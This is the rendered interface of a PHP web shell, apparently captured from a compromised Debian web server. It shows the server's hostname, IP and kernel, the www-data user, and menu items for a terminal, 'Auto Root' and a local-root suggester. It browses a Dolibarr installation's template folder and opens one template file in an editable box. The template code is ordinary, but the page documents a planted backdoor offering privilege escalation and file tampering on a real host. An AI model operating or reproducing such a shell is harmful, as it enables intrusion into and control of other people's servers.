Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
hermes.bdcloud.fr /
core /
tpl /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
README
123
B
-rw-r--r--
2020-10-31 14:38
admin_extrafields_add.tpl.php
14.86
KB
-rw-r--r--
2020-10-31 14:38
admin_extrafields_edit.tpl.php
17.43
KB
-rw-r--r--
2020-10-31 14:38
admin_extrafields_view.tpl.php
5.82
KB
-rw-r--r--
2020-10-31 14:38
advtarget.tpl.php
23.55
KB
-rw-r--r--
2020-10-31 14:38
ajaxrow.tpl.php
4.84
KB
-rw-r--r--
2020-10-31 14:38
bloc_comment.tpl.php
5.35
KB
-rw-r--r--
2020-10-31 14:38
bloc_showhide.tpl.php
3.17
KB
-rw-r--r--
2020-10-31 14:38
card_presend.tpl.php
10.36
KB
-rw-r--r--
2020-10-31 14:38
commonfields_add.tpl.php
2.27
KB
-rw-r--r--
2020-10-31 14:38
commonfields_edit.tpl.php
2.44
KB
-rw-r--r--
2020-10-31 14:38
commonfields_view.tpl.php
3.94
KB
-rw-r--r--
2020-10-31 14:38
contacts.tpl.php
12.48
KB
-rw-r--r--
2020-10-31 14:38
document_actions_post_headers.tpl.php
4.35
KB
-rw-r--r--
2020-10-31 14:38
error.tpl.php
779
B
-rw-r--r--
2020-10-31 14:38
extrafields_add.tpl.php
1.63
KB
-rw-r--r--
2020-10-31 14:38
extrafields_edit.tpl.php
1.56
KB
-rw-r--r--
2020-10-31 14:38
extrafields_list_print_fields.tpl.php
2.76
KB
-rw-r--r--
2020-10-31 14:38
extrafields_list_search_input.tpl.php
2.95
KB
-rw-r--r--
2020-10-31 14:38
extrafields_list_search_param.tpl.php
699
B
-rw-r--r--
2020-10-31 14:38
extrafields_list_search_sql.tpl.php
2.19
KB
-rw-r--r--
2020-10-31 14:38
extrafields_list_search_title.tpl.php
1.88
KB
-rw-r--r--
2020-10-31 14:38
extrafields_view.tpl.php
10.94
KB
-rw-r--r--
2020-10-31 14:38
filemanager.tpl.php
8.37
KB
-rw-r--r--
2020-10-31 14:38
footer.tpl.php
779
B
-rw-r--r--
2020-10-31 14:38
header.tpl.php
787
B
-rw-r--r--
2020-10-31 14:38
index.html
0
B
-rw-r--r--
2020-10-31 14:38
list_print_total.tpl.php
844
B
-rw-r--r--
2020-10-31 14:38
login.tpl.php
15.08
KB
-rw-r--r--
2020-10-31 14:38
massactions_pre.tpl.php
6.93
KB
-rw-r--r--
2020-10-31 14:38
notes.tpl.php
5.46
KB
-rw-r--r--
2020-10-31 14:38
object_discounts.tpl.php
5.37
KB
-rw-r--r--
2020-10-31 14:38
objectline_create.tpl.php
36.24
KB
-rw-r--r--
2020-10-31 14:38
objectline_edit.tpl.php
16.34
KB
-rw-r--r--
2020-10-31 14:38
objectline_title.tpl.php
5.98
KB
-rw-r--r--
2020-11-30 13:30
objectline_title.tpl.php_OLD
5.51
KB
-rw-r--r--
2020-10-31 14:38
objectline_view.tpl.php
26.49
KB
-rw-r--r--
2020-11-30 13:30
objectline_view.tpl.php_NEW
25.56
KB
-rw-r--r--
2020-10-31 15:06
objectline_view.tpl.php_OLD
22.22
KB
-rw-r--r--
2020-11-16 11:03
onlinepaymentlinks.tpl.php
7.69
KB
-rw-r--r--
2020-10-31 14:38
originproductline.tpl.php
2
KB
-rw-r--r--
2020-10-31 14:38
passwordforgotten.tpl.php
9.75
KB
-rw-r--r--
2020-10-31 14:38
resource_add.tpl.php
1.86
KB
-rw-r--r--
2020-10-31 14:38
resource_view.tpl.php
3.76
KB
-rw-r--r--
2020-10-31 14:38
Save
Rename
<?php /* Copyright (C) 2014 Maxime Kohlhaas <support@atm-consulting.fr> * Copyright (C) 2014 Juanjo Menent <jmenent@2byte.es> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. * * Show extrafields. It also show fields from hook formObjectOptions. Need to have following variables defined: * $object (invoice, order, ...) * $action * $conf * $langs * * $parameters * $cols */ // Protection to avoid direct call of template if (empty($object) || !is_object($object)) { print "Error, template page can't be called as URL"; exit; } if (!is_object($form)) $form = new Form($db); ?> <!-- BEGIN PHP TEMPLATE extrafields_view.tpl.php --> <?php if (!is_array($parameters)) $parameters = array(); if (!empty($cols)) $parameters['colspan'] = ' colspan="'.$cols.'"'; if (!empty($cols)) $parameters['cols'] = $cols; if (!empty($object->fk_soc)) $parameters['socid'] = $object->fk_soc; $reshook = $hookmanager->executeHooks('formObjectOptions', $parameters, $object, $action); print $hookmanager->resPrint; if ($reshook < 0) setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); //var_dump($extrafields->attributes[$object->table_element]); if (empty($reshook) && is_array($extrafields->attributes[$object->table_element]['label'])) { $lastseparatorkeyfound = ''; $extrafields_collapse_num = ''; $extrafields_collapse_num_old = ''; $i = 0; foreach ($extrafields->attributes[$object->table_element]['label'] as $tmpkeyextra => $tmplabelextra) { $i++; // Discard if extrafield is a hidden field on form $enabled = 1; if ($enabled && isset($extrafields->attributes[$object->table_element]['enabled'][$tmpkeyextra])) { $enabled = dol_eval($extrafields->attributes[$object->table_element]['enabled'][$tmpkeyextra], 1); } if ($enabled && isset($extrafields->attributes[$object->table_element]['list'][$tmpkeyextra])) { $enabled = dol_eval($extrafields->attributes[$object->table_element]['list'][$tmpkeyextra], 1); } $perms = 1; if ($perms && isset($extrafields->attributes[$object->table_element]['perms'][$tmpkeyextra])) { $perms = dol_eval($extrafields->attributes[$object->table_element]['perms'][$tmpkeyextra], 1); } //print $tmpkeyextra.'-'.$enabled.'-'.$perms.'-'.$tmplabelextra.$_POST["options_" . $tmpkeyextra].'<br>'."\n"; if (empty($enabled)) continue; // 0 = Never visible field if (abs($enabled) != 1 && abs($enabled) != 3 && abs($enabled) != 5 && abs($enabled) != 4) continue; // <> -1 and <> 1 and <> 3 = not visible on forms, only on list <> 4 = not visible at the creation if (empty($perms)) continue; // 0 = Not visible // Load language if required if (!empty($extrafields->attributes[$object->table_element]['langfile'][$tmpkeyextra])) $langs->load($extrafields->attributes[$object->table_element]['langfile'][$tmpkeyextra]); if ($action == 'edit_extras') { $value = (isset($_POST["options_".$tmpkeyextra]) ? $_POST["options_".$tmpkeyextra] : $object->array_options["options_".$tmpkeyextra]); } else { $value = $object->array_options["options_".$tmpkeyextra]; //var_dump($tmpkeyextra.' - '.$value); } // Print line tr of extra field if ($extrafields->attributes[$object->table_element]['type'][$tmpkeyextra] == 'separate') { $extrafields_collapse_num = ''; $extrafield_param = $extrafields->attributes[$object->table_element]['param'][$tmpkeyextra]; if (!empty($extrafield_param) && is_array($extrafield_param)) { $extrafield_param_list = array_keys($extrafield_param['options']); if (count($extrafield_param_list) > 0) { $extrafield_collapse_display_value = intval($extrafield_param_list[0]); if ($extrafield_collapse_display_value == 1 || $extrafield_collapse_display_value == 2) { $extrafields_collapse_num = $extrafields->attributes[$object->table_element]['pos'][$tmpkeyextra]; } } } print $extrafields->showSeparator($tmpkeyextra, $object); $lastseparatorkeyfound = $tmpkeyextra; } else { print '<tr class="trextrafields_collapse'.$extrafields_collapse_num; /*if ($extrafields_collapse_num && $extrafields_collapse_num_old && $extrafields_collapse_num != $extrafields_collapse_num_old) { print ' trextrafields_collapse_new'; }*/ if ($extrafields_collapse_num && $i == count($extrafields->attributes[$object->table_element]['label'])) { print ' trextrafields_collapse_last'; } print '">'; $extrafields_collapse_num_old = $extrafields_collapse_num; print '<td class="titlefield">'; print '<table class="nobordernopadding centpercent">'; print '<tr>'; print '<td class="'; if ((!empty($action) && ($action == 'create' || $action == 'edit')) && !empty($extrafields->attributes[$object->table_element]['required'][$tmpkeyextra])) print ' fieldrequired'; print '">'; if (!empty($extrafields->attributes[$object->table_element]['help'][$tmpkeyextra])) print $form->textwithpicto($langs->trans($tmplabelextra), $langs->trans($extrafields->attributes[$object->table_element]['help'][$tmpkeyextra])); else print $langs->trans($tmplabelextra); print '</td>'; //TODO Improve element and rights detection //var_dump($user->rights); $permok = false; $keyforperm = $object->element; if ($object->element == 'fichinter') $keyforperm = 'ficheinter'; if (isset($user->rights->$keyforperm)) $permok = $user->rights->$keyforperm->creer || $user->rights->$keyforperm->create || $user->rights->$keyforperm->write; if ($object->element == 'order_supplier') $permok = $user->rights->fournisseur->commande->creer; if ($object->element == 'invoice_supplier') $permok = $user->rights->fournisseur->facture->creer; if ($object->element == 'shipping') $permok = $user->rights->expedition->creer; if ($object->element == 'delivery') $permok = $user->rights->expedition->livraison->creer; if ($object->element == 'productlot') $permok = $user->rights->stock->creer; if ($object->element == 'facturerec') $permok = $user->rights->facture->creer; if ($object->element == 'mo') $permok = $user->rights->mrp->write; $isdraft = ((isset($object->statut) && $object->statut == 0) || (isset($object->status) && $object->status == 0)); if (($isdraft || !empty($extrafields->attributes[$object->table_element]['alwayseditable'][$tmpkeyextra])) && $permok && $enabled != 5 && ($action != 'edit_extras' || GETPOST('attribute') != $tmpkeyextra) && empty($extrafields->attributes[$object->table_element]['computed'][$tmpkeyextra])) { $fieldid = 'id'; if ($object->table_element == 'societe') $fieldid = 'socid'; print '<td class="right"><a class="reposition editfielda" href="'.$_SERVER['PHP_SELF'].'?'.$fieldid.'='.$object->id.'&action=edit_extras&attribute='.$tmpkeyextra.'&ignorecollapsesetup=1">'.img_edit().'</a></td>'; } print '</tr></table>'; print '</td>'; $html_id = !empty($object->id) ? $object->element.'_extras_'.$tmpkeyextra.'_'.$object->id : ''; print '<td id="'.$html_id.'" class="'.$object->element.'_extras_'.$tmpkeyextra.' wordbreak"'.($cols ? ' colspan="'.$cols.'"' : '').'>'; // Convert date into timestamp format if (in_array($extrafields->attributes[$object->table_element]['type'][$tmpkeyextra], array('date', 'datetime'))) { $datenotinstring = $object->array_options['options_'.$tmpkeyextra]; // print 'X'.$object->array_options['options_' . $tmpkeyextra].'-'.$datenotinstring.'x'; if (!is_numeric($object->array_options['options_'.$tmpkeyextra])) // For backward compatibility { $datenotinstring = $db->jdate($datenotinstring); } //print 'x'.$object->array_options['options_' . $tmpkeyextra].'-'.$datenotinstring.' - '.dol_print_date($datenotinstring, 'dayhour'); $value = isset($_POST["options_".$tmpkeyextra]) ? dol_mktime($_POST["options_".$tmpkeyextra."hour"], $_POST["options_".$tmpkeyextra."min"], 0, $_POST["options_".$tmpkeyextra."month"], $_POST["options_".$tmpkeyextra."day"], $_POST["options_".$tmpkeyextra."year"]) : $datenotinstring; } //TODO Improve element and rights detection if ($action == 'edit_extras' && $permok && GETPOST('attribute', 'none') == $tmpkeyextra) { $fieldid = 'id'; if ($object->table_element == 'societe') $fieldid = 'socid'; print '<form enctype="multipart/form-data" action="'.$_SERVER["PHP_SELF"].'" method="post" name="formextra">'; print '<input type="hidden" name="action" value="update_extras">'; print '<input type="hidden" name="attribute" value="'.$tmpkeyextra.'">'; print '<input type="hidden" name="token" value="'.newToken().'">'; print '<input type="hidden" name="'.$fieldid.'" value="'.$object->id.'">'; print $extrafields->showInputField($tmpkeyextra, $value, '', '', '', 0, $object->id, $object->table_element); print '<input type="submit" class="button" value="'.dol_escape_htmltag($langs->trans('Modify')).'">'; print '</form>'; } else { //var_dump($tmpkeyextra.'-'.$value.'-'.$object->table_element); print $extrafields->showOutputField($tmpkeyextra, $value, '', $object->table_element); } print '</td>'; print '</tr>'."\n"; } } // Add code to manage list depending on others // TODO Test/enhance this with a more generic solution if (!empty($conf->use_javascript_ajax)) { print "\n"; print ' <script type="text/javascript"> jQuery(document).ready(function() { function showOptions(child_list, parent_list) { var val = $("select[name="+parent_list+"]").val(); var parentVal = parent_list + ":" + val; if(val > 0) { $("select[name=\""+child_list+"\"] option[parent]").hide(); $("select[name=\""+child_list+"\"] option[parent=\""+parentVal+"\"]").show(); } else { $("select[name=\""+child_list+"\"] option").show(); } } function setListDependencies() { jQuery("select option[parent]").parent().each(function() { var child_list = $(this).attr("name"); var parent = $(this).find("option[parent]:first").attr("parent"); var infos = parent.split(":"); var parent_list = infos[0]; $("select[name=\""+parent_list+"\"]").change(function() { showOptions(child_list, parent_list); }); }); } setListDependencies(); }); </script>'."\n"; } } ?> <!-- END PHP TEMPLATE extrafields_view.tpl.php -->